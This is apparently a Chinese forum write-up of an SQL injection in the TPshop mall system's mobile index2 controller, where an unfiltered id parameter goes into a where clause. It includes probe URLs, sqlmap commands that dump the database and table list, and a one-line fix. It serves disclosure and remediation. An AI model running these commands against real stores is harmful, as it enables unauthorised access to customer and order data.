0x01 前言

TPshop开源商城系统( Thinkphp shop的简称 ),是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城,系统PC+后台是基于ThinkPHP MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成,在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。

0x02 代码分析

跟踪到/Application/mobile/Controller/Index.php中的index2方法

66 Line: 获取用户从get输入的参数id的值并赋值给$id
67 Line: 获取用户从get输入的参数role的值并赋值给$role
69 Line: 判断$role是否为真
70 Line: 将$id拼接到where语句中
73 Line: 判断$id是否为真
75 Line: 将$id拼接到where语句中

0x03 漏洞探测

http://localhost:8084/mobile/index/index2/id/1

http://localhost:8084/mobile/index/index2/id/1'

由于id参数可控且未被过滤直接被拼接到where子句中从而造成了SQL注入

0x04 漏洞复现

sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql"

sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql" --current-db

sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql" -D tpshop3.0 --tables

0x05 漏洞修复

将I('get.id')改为I('get.id/d')

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖